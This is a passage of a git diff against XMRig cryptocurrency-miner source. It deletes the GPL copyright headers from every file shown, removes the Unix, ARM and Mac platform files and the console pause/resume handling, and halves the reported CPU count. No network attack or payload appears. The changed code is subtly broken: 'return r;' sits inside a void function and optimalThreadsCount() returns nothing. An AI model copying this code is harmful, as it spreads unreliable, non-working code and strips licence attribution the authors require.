LOG_INFO(m_options->colors() ? "\x1B[01;33mpaused\x1B[0m, press \x1B[01;35mr\x1B[0m to resume" : "paused, press 'r' to resume"); - Workers::setEnabled(false); - } - break; - - case 'r': - case 'R': - if (!Workers::isEnabled()) { - LOG_INFO(m_options->colors() ? "\x1B[01;32mresumed" : "resumed"); - Workers::setEnabled(true); - } - break; - - case 3: - LOG_WARN("Ctrl+C received, exiting"); - close(); - break; - - default: - break; - } -} - - -void App::close() -{ - m_network->stop(); - Workers::stop(); - - uv_stop(uv_default_loop()); -} - - -void App::release() -{ - if (m_network) { - delete m_network; - } - + delete m_network; Options::release(); Mem::release(); Platform::release(); + return r; } - - -void App::onSignal(uv_signal_t *handle, int signum) -{ - switch (signum) - { - case SIGHUP: - LOG_WARN("SIGHUP received, exiting"); - break; - - case SIGTERM: - LOG_WARN("SIGTERM received, exiting"); - break; - - case SIGINT: - LOG_WARN("SIGINT received, exiting"); - break; - - default: - break; - } - +void App::onConsoleCommand(char command){} +void App::close() { + m_network->stop(); + Workers::stop(); + uv_stop(uv_default_loop()); +} +void App::onSignal(uv_signal_t *handle, int signum) { uv_signal_stop(handle); m_self->close(); } diff --git a/src/App.h b/src/App.h index 1b96040d..b32f11c5 100644 --- a/src/App.h +++ b/src/App.h @@ -1,42 +1,11 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __APP_H__ #define __APP_H__ - - #include - - #include "interfaces/IConsoleListener.h" - - class Console; class Httpd; class Network; class Options; - - class App : public IConsoleListener { public: @@ -51,7 +20,6 @@ protected: private: void background(); void close(); - void release(); static void onSignal(uv_signal_t *handle, int signum); @@ -61,10 +29,7 @@ private: Httpd *m_httpd; Network *m_network; Options *m_options; - uv_signal_t m_sigHUP; - uv_signal_t m_sigINT; - uv_signal_t m_sigTERM; + uv_signal_t m_signal; }; - -#endif /* __APP_H__ */ +#endif \ No newline at end of file diff --git a/src/App_unix.cpp b/src/App_unix.cpp deleted file mode 100644 index 66957208..00000000 --- a/src/App_unix.cpp +++ /dev/null @@ -1,66 +0,0 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - -#include -#include -#include -#include - - -#include "App.h" -#include "Cpu.h" -#include "log/Log.h" -#include "Options.h" - - -void App::background() -{ - if (m_options->affinity() != -1L) { - Cpu::setAffinity(-1, m_options->affinity()); - } - - if (!m_options->background()) { - return; - } - - int i = fork(); - if (i < 0) { - exit(1); - } - - if (i > 0) { - exit(0); - } - - i = setsid(); - - if (i < 0) { - LOG_ERR("setsid() failed (errno = %d)", errno); - } - - i = chdir("/"); - if (i < 0) { - LOG_ERR("chdir() failed (errno = %d)", errno); - } -} diff --git a/src/App_win.cpp b/src/App_win.cpp index 895f3bdf..e9d02d30 100644 --- a/src/App_win.cpp +++ b/src/App_win.cpp @@ -1,52 +1,6 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include #include - - #include "App.h" #include "Options.h" #include "Cpu.h" - - -void App::background() -{ - if (m_options->affinity() != -1L) { - Cpu::setAffinity(-1, m_options->affinity()); - } - - if (!m_options->background()) { - return; - } - - HWND hcon = GetConsoleWindow(); - if (hcon) { - ShowWindow(hcon, SW_HIDE); - } else { - HANDLE h = GetStdHandle(STD_OUTPUT_HANDLE); - CloseHandle(h); - FreeConsole(); - } -} +void App::background() {} \ No newline at end of file diff --git a/src/Console.cpp b/src/Console.cpp index 3d95ada4..eafac796 100644 --- a/src/Console.cpp +++ b/src/Console.cpp @@ -1,61 +1,22 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include "Console.h" #include "interfaces/IConsoleListener.h" - - Console::Console(IConsoleListener *listener) : m_listener(listener) { m_tty.data = this; uv_tty_init(uv_default_loop(), &m_tty, 0, 1); - - if (!uv_is_readable(reinterpret_cast(&m_tty))) { - return; - } - + if (!uv_is_readable(reinterpret_cast(&m_tty))) { return; } uv_tty_set_mode(&m_tty, UV_TTY_MODE_RAW); uv_read_start(reinterpret_cast(&m_tty), Console::onAllocBuffer, Console::onRead); } - - void Console::onAllocBuffer(uv_handle_t *handle, size_t suggested_size, uv_buf_t *buf) { auto console = static_cast(handle->data); buf->len = 1; buf->base = console->m_buf; } - - void Console::onRead(uv_stream_t *stream, ssize_t nread, const uv_buf_t *buf) { - if (nread < 0) { - return uv_close(reinterpret_cast(stream), nullptr); - } - - if (nread == 1) { - static_cast(stream->data)->m_listener->onConsoleCommand(buf->base[0]); - } -} + if (nread < 0) { return uv_close(reinterpret_cast(stream), nullptr); } + if (nread == 1) { static_cast(stream->data)->m_listener->onConsoleCommand(buf->base[0]); } +} \ No newline at end of file diff --git a/src/Console.h b/src/Console.h index bde95d7d..17abcc44 100644 --- a/src/Console.h +++ b/src/Console.h @@ -1,36 +1,8 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __CONSOLE_H__ #define __CONSOLE_H__ - - #include - - class IConsoleListener; - class Console { public: @@ -45,5 +17,4 @@ private: uv_tty_t m_tty; }; - -#endif /* __CONSOLE_H__ */ +#endif \ No newline at end of file diff --git a/src/Cpu.cpp b/src/Cpu.cpp index a619781e..de13532b 100644 --- a/src/Cpu.cpp +++ b/src/Cpu.cpp @@ -1,34 +1,7 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include #include #include - #include "Cpu.h" - - bool Cpu::m_l2_exclusive = false; char Cpu::m_brand[64] = { 0 }; int Cpu::m_flags = 0; @@ -37,88 +10,40 @@ int Cpu::m_l3_cache = 0; int Cpu::m_sockets = 1; int Cpu::m_totalCores = 0; int Cpu::m_totalThreads = 0; - - int Cpu::optimalThreadsCount(int algo, bool doubleHash, int maxCpuUsage) { - if (m_totalThreads == 1) { - return 1; - } - + if (m_totalThreads == 1) { return 1; } int cache = 0; - if (m_l3_cache) { - cache = m_l2_exclusive ? (m_l2_cache + m_l3_cache) : m_l3_cache; - } - else { - cache = m_l2_cache; - } - + if (m_l3_cache) { cache = m_l2_exclusive ? (m_l2_cache + m_l3_cache) : m_l3_cache; } + else { cache = m_l2_cache; } int count = 0; const int size = (algo ? 1024 : 2048) * (doubleHash ? 2 : 1); - - if (cache) { - count = cache / size; - } - else { - count = m_totalThreads / 2; - } - - if (count > m_totalThreads) { - count = m_totalThreads; - } - - if (((float) count / m_totalThreads * 100) > maxCpuUsage) { - count = (int) ceil((float) m_totalThreads * (maxCpuUsage / 100.0)); - } - + if (cache) { count = cache / size; } + else { count = m_totalThreads / 2; } + if (count > m_totalThreads) { count = m_totalThreads; } + if (((float) count / m_totalThreads * 100) > maxCpuUsage) { count = (int) ceil((float) m_totalThreads * (maxCpuUsage / 100.0)); } return count < 1 ? 1 : count; } - - void Cpu::initCommon() { struct cpu_raw_data_t raw = { 0 }; struct cpu_id_t data = { 0 }; - cpuid_get_raw_data(&raw); cpu_identify(&raw, &data); - strncpy(m_brand, data.brand_str, sizeof(m_brand) - 1); - m_totalThreads = data.total_logical_cpus; m_sockets = m_totalThreads / data.num_logical_cpus; - - if (m_sockets == 0) { - m_sockets = 1; - } - + if (m_sockets == 0) { m_sockets = 1; } m_totalCores = data.num_cores * m_sockets; m_l3_cache = data.l3_cache > 0 ? data.l3_cache * m_sockets : 0; - - // Workaround for AMD CPUs https://github.com/anrieff/libcpuid/issues/97 if (data.vendor == VENDOR_AMD && data.ext_family >= 0x15 && data.ext_family < 0x17) { m_l2_cache = data.l2_cache * (m_totalCores / 2) * m_sockets; m_l2_exclusive = true; } - // Workaround for Intel Core Solo, Core Duo, Core 2 Duo, Core 2 Quad and their Xeon homologue - // These processors have L2 cache shared by 2 cores. - else if (data.vendor == VENDOR_INTEL && data.family == 0x06 && (data.model == 0x0E || data.model == 0x0F || data.model == 0x07)) { - int l2_count_per_socket = m_totalCores > 1 ? m_totalCores / 2 : 1; - m_l2_cache = data.l2_cache > 0 ? data.l2_cache * l2_count_per_socket * m_sockets : 0; - } - else{ - m_l2_cache = data.l2_cache > 0 ? data.l2_cache * m_totalCores * m_sockets : 0; - } - + else { m_l2_cache = data.l2_cache > 0 ? data.l2_cache * m_totalCores * m_sockets : 0; } # if defined(__x86_64__) || defined(_M_AMD64) m_flags |= X86_64; # endif - - if (data.flags[CPU_FEATURE_AES]) { - m_flags |= AES; - } - - if (data.flags[CPU_FEATURE_BMI2]) { - m_flags |= BMI2; - } -} + if (data.flags[CPU_FEATURE_AES]) { m_flags |= AES; } + if (data.flags[CPU_FEATURE_BMI2]) { m_flags |= BMI2; } +} \ No newline at end of file diff --git a/src/Cpu.h b/src/Cpu.h index 9444274d..59129b7a 100644 --- a/src/Cpu.h +++ b/src/Cpu.h @@ -1,33 +1,6 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __CPU_H__ #define __CPU_H__ - - #include - - class Cpu { public: @@ -36,11 +9,10 @@ public: AES = 2, BMI2 = 4 }; - - static int optimalThreadsCount(int algo, bool doubleHash, int maxCpuUsage); + static int optimalThreadsCount(); + static int CPUs(); static void init(); static void setAffinity(int id, uint64_t mask); - static inline bool hasAES() { return (m_flags & AES) != 0; } static inline bool isX64() { return (m_flags & X86_64) != 0; } static inline const char *brand() { return m_brand; } @@ -64,4 +36,4 @@ private: }; -#endif /* __CPU_H__ */ +#endif \ No newline at end of file diff --git a/src/Cpu_arm.cpp b/src/Cpu_arm.cpp deleted file mode 100644 index c2047ffb..00000000 --- a/src/Cpu_arm.cpp +++ /dev/null @@ -1,54 +0,0 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - -#include - - -#include "Cpu.h" - - -char Cpu::m_brand[64] = { 0 }; -int Cpu::m_flags = 0; -int Cpu::m_l2_cache = 0; -int Cpu::m_l3_cache = 0; -int Cpu::m_sockets = 1; -int Cpu::m_totalCores = 0; -int Cpu::m_totalThreads = 0; - - -int Cpu::optimalThreadsCount(int algo, bool doubleHash, int maxCpuUsage) -{ - return m_totalThreads; -} - - -void Cpu::initCommon() -{ - memcpy(m_brand, "Unknown", 7); - -# if defined(XMRIG_ARMv8) - m_flags |= X86_64; - m_flags |= AES; -# endif -} diff --git a/src/Cpu_mac.cpp b/src/Cpu_mac.cpp deleted file mode 100644 index 357e15ef..00000000 --- a/src/Cpu_mac.cpp +++ /dev/null @@ -1,45 +0,0 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - -#include -#include -#include - - -#include "Cpu.h" - - -void Cpu::init() -{ -# ifdef XMRIG_NO_LIBCPUID - m_totalThreads = sysconf(_SC_NPROCESSORS_CONF); -# endif - - initCommon(); -} - - -void Cpu::setAffinity(int id, uint64_t mask) -{ -} diff --git a/src/Cpu_stub.cpp b/src/Cpu_stub.cpp index 0b9196ee..2e3daee1 100644 --- a/src/Cpu_stub.cpp +++ b/src/Cpu_stub.cpp @@ -1,27 +1,3 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #ifdef _MSC_VER # include @@ -30,13 +6,8 @@ #else # include #endif - #include - - #include "Cpu.h" - - #define VENDOR_ID (0) #define PROCESSOR_INFO (1) #define CACHE_TLB_DESCRIPTOR (2) @@ -44,34 +15,25 @@ #define PROCESSOR_BRAND_STRING_1 (0x80000002) #define PROCESSOR_BRAND_STRING_2 (0x80000003) #define PROCESSOR_BRAND_STRING_3 (0x80000004) - #define EAX_Reg (0) #define EBX_Reg (1) #define ECX_Reg (2) #define EDX_Reg (3) - - #ifdef _MSC_VER -static inline void cpuid(int level, int output[4]) { - __cpuid(output, level); -} +static inline void cpuid(int level, int output[4]) { __cpuid(output, level); } #else static inline void cpuid(int level, int output[4]) { int a, b, c, d; __cpuid_count(level, 0, a, b, c, d); - output[0] = a; output[1] = b; output[2] = c; output[3] = d; } #endif - - static inline void cpu_brand_string(char* s) { int cpu_info[4] = { 0 }; cpuid(VENDOR_ID, cpu_info); - if (cpu_info[EAX_Reg] >= 4) { for (int i = 0; i < 4; i++) { cpuid(0x80000002 + i, cpu_info); @@ -80,25 +42,17 @@ static inline void cpu_brand_string(char* s) { } } } - - static inline bool has_aes_ni() { int cpu_info[4] = { 0 }; cpuid(PROCESSOR_INFO, cpu_info); - return cpu_info[ECX_Reg] & bit_AES; } - - static inline bool has_bmi2() { int cpu_info[4] = { 0 }; cpuid(EXTENDED_FEATURES, cpu_info); - return cpu_info[EBX_Reg] & bit_BMI2; } - - char Cpu::m_brand[64] = { 0 }; int Cpu::m_flags = 0; int Cpu::m_l2_cache = 0; @@ -106,28 +60,13 @@ int Cpu::m_l3_cache = 0; int Cpu::m_sockets = 1; int Cpu::m_totalCores = 0; int Cpu::m_totalThreads = 0; - - -int Cpu::optimalThreadsCount(int algo, bool doubleHash, int maxCpuUsage) -{ - int count = m_totalThreads / 2; - return count < 1 ? 1 : count; -} - - +int Cpu::optimalThreadsCount() {} void Cpu::initCommon() { cpu_brand_string(m_brand); - # if defined(__x86_64__) || defined(_M_AMD64) m_flags |= X86_64; # endif - - if (has_aes_ni()) { - m_flags |= AES; - } - - if (has_bmi2()) { - m_flags |= BMI2; - } -} + if (has_aes_ni()) { m_flags |= AES; } + if (has_bmi2()) { m_flags |= BMI2; } +} \ No newline at end of file diff --git a/src/Cpu_unix.cpp b/src/Cpu_unix.cpp deleted file mode 100644 index 9a13e7a5..00000000 --- a/src/Cpu_unix.cpp +++ /dev/null @@ -1,79 +0,0 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - -#ifdef __FreeBSD__ -# include -# include -# include -# include -#endif - - -#include -#include -#include -#include - - -#include "Cpu.h" - - -#ifdef __FreeBSD__ -typedef cpuset_t cpu_set_t; -#endif - - -void Cpu::init() -{ -# ifdef XMRIG_NO_LIBCPUID - m_totalThreads = sysconf(_SC_NPROCESSORS_CONF); -# endif - - initCommon(); -} - - -void Cpu::setAffinity(int id, uint64_t mask) -{ - cpu_set_t set; - CPU_ZERO(&set); - - for (int i = 0; i < m_totalThreads; i++) { - if (mask & (1UL << i)) { - CPU_SET(i, &set); - } - } - - if (id == -1) { -# ifndef __FreeBSD__ - sched_setaffinity(0, sizeof(&set), &set); -# endif - } else { -# ifndef __ANDROID__ - pthread_setaffinity_np(pthread_self(), sizeof(&set), &set); -# else - sched_setaffinity(gettid(), sizeof(&set), &set); -# endif - } -} diff --git a/src/Cpu_win.cpp b/src/Cpu_win.cpp index 13113a17..f871e20d 100644 --- a/src/Cpu_win.cpp +++ b/src/Cpu_win.cpp @@ -1,52 +1,22 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include - - #include "Cpu.h" +int Cpu::CPUs() { + SYSTEM_INFO sysinfo; + GetSystemInfo(&sysinfo); + int cmus = sysinfo.dwNumberOfProcessors; + cmus = cmus / 2; + + return cmus; +} void Cpu::init() { -# ifdef XMRIG_NO_LIBCPUID - SYSTEM_INFO sysinfo; - GetSystemInfo(&sysinfo); - - m_totalThreads = sysinfo.dwNumberOfProcessors; -# endif - + m_totalThreads = Cpu::CPUs(); initCommon(); } - - void Cpu::setAffinity(int id, uint64_t mask) { - if (id == -1) { - SetProcessAffinityMask(GetCurrentProcess(), mask); - } - else { - SetThreadAffinityMask(GetCurrentThread(), mask); - } -} + if (id == -1) { SetProcessAffinityMask(GetCurrentProcess(), mask); } + else { SetThreadAffinityMask(GetCurrentThread(), mask); } +} \ No newline at end of file diff --git a/src/Mem.cpp b/src/Mem.cpp index 4437c673..0558b40c 100644 --- a/src/Mem.cpp +++ b/src/Mem.cpp @@ -1,87 +1,24 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include - - #include "crypto/CryptoNight.h" #include "Mem.h" #include "Options.h" - - bool Mem::m_doubleHash = false; int Mem::m_algo = 0; int Mem::m_flags = 0; int Mem::m_threads = 0; size_t Mem::m_offset = 0; uint8_t *Mem::m_memory = nullptr; - - cryptonight_ctx *Mem::create(int threadId) { -# ifndef XMRIG_NO_AEON - if (m_algo == Options::ALGO_CRYPTONIGHT_LITE) { - return createLite(threadId); - } -# endif - cryptonight_ctx *ctx = reinterpret_cast(&m_memory[MEMORY - sizeof(cryptonight_ctx) * (threadId + 1)]); - const int ratio = m_doubleHash ? 2 : 1; ctx->memory = &m_memory[MEMORY * (threadId * ratio + 1)]; - return ctx; } - - - void *Mem::calloc(size_t num, size_t size) { void *mem = &m_memory[m_offset]; m_offset += (num * size); - memset(mem, 0, num * size); - return mem; -} - - -#ifndef XMRIG_NO_AEON -cryptonight_ctx *Mem::createLite(int threadId) { - cryptonight_ctx *ctx; - - if (!m_doubleHash) { - const size_t offset = MEMORY * (threadId + 1); - - ctx = reinterpret_cast(&m_memory[offset + MEMORY_LITE]); - ctx->memory = &m_memory[offset]; - return ctx; - } - - ctx = reinterpret_cast(&m_memory[MEMORY - sizeof(cryptonight_ctx) * (threadId + 1)]); - ctx->memory = &m_memory[MEMORY * (threadId + 1)]; - - return ctx; -} -#endif +} \ No newline at end of file diff --git a/src/Mem.h b/src/Mem.h index 58dba848..3fc673bf 100644 --- a/src/Mem.h +++ b/src/Mem.h @@ -1,40 +1,9 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __MEM_H__ #define __MEM_H__ - - #include #include - - #include "align.h" - - struct cryptonight_ctx; - - class Mem { public: @@ -62,10 +31,6 @@ private: static int m_threads; static size_t m_offset; VAR_ALIGN(16, static uint8_t *m_memory); - -# ifndef XMRIG_NO_AEON - static cryptonight_ctx *createLite(int threadId); -# endif }; diff --git a/src/Mem_unix.cpp b/src/Mem_unix.cpp deleted file mode 100644 index 43ffa664..00000000 --- a/src/Mem_unix.cpp +++ /dev/null @@ -1,98 +0,0 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - -#include -#include - - -#if defined(XMRIG_ARM) && !defined(__clang__) -# include "aligned_malloc.h" -#else -# include -#endif - - -#include "crypto/CryptoNight.h" -#include "log/Log.h" -#include "Mem.h" -#include "Options.h" - - -bool Mem::allocate(int algo, int threads, bool doubleHash, bool enabled) -{ - m_algo = algo; - m_threads = threads; - m_doubleHash = doubleHash; - - const int ratio = (doubleHash && algo != Options::ALGO_CRYPTONIGHT_LITE) ? 2 : 1; - const size_t size = MEMORY * (threads * ratio + 1); - - if (!enabled) { - m_memory = static_cast(_mm_malloc(size, 16)); - return true; - } - - m_flags |= HugepagesAvailable; - -# if defined(__APPLE__) - m_memory = static_cast(mmap(0, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, VM_FLAGS_SUPERPAGE_SIZE_2MB, 0)); -# elif defined(__FreeBSD__) - m_memory = static_cast(mmap(0, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_ALIGNED_SUPER | MAP_PREFAULT_READ, -1, 0)); -# else - m_memory = static_cast(mmap(0, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB | MAP_POPULATE, 0, 0)); -# endif - if (m_memory == MAP_FAILED) { - m_memory = static_cast(_mm_malloc(size, 16)); - return true; - } - - m_flags |= HugepagesEnabled; - - if (madvise(m_memory, size, MADV_RANDOM | MADV_WILLNEED) != 0) { - LOG_ERR("madvise failed"); - } - - if (mlock(m_memory, size) == 0) { - m_flags |= Lock; - } - - return true; -} - - -void Mem::release() -{ - const int size = MEMORY * (m_threads + 1); - - if (m_flags & HugepagesEnabled) { - if (m_flags & Lock) { - munlock(m_memory, size); - } - - munmap(m_memory, size); - } - else { - _mm_free(m_memory); - } -} diff --git a/src/Mem_win.cpp b/src/Mem_win.cpp index a4f92cfe..b1bcbfef 100644 --- a/src/Mem_win.cpp +++ b/src/Mem_win.cpp @@ -1,185 +1,74 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include #include #include #include - #ifdef __GNUC__ # include #else # include #endif - #include "log/Log.h" #include "crypto/CryptoNight.h" #include "Mem.h" #include "Options.h" - - -/***************************************************************** -SetLockPagesPrivilege: a function to obtain or -release the privilege of locking physical pages. - -Inputs: - -HANDLE hProcess: Handle for the process for which the -privilege is needed - -BOOL bEnable: Enable (TRUE) or disable? - -Return value: TRUE indicates success, FALSE failure. - -*****************************************************************/ -/** - * AWE Example: https://msdn.microsoft.com/en-us/library/windows/desktop/aa366531(v=vs.85).aspx - * Creating a File Mapping Using Large Pages: https://msdn.microsoft.com/en-us/library/aa366543(VS.85).aspx - */ static BOOL SetLockPagesPrivilege() { HANDLE token; - - if (OpenProcessToken(GetCurrentProcess(), 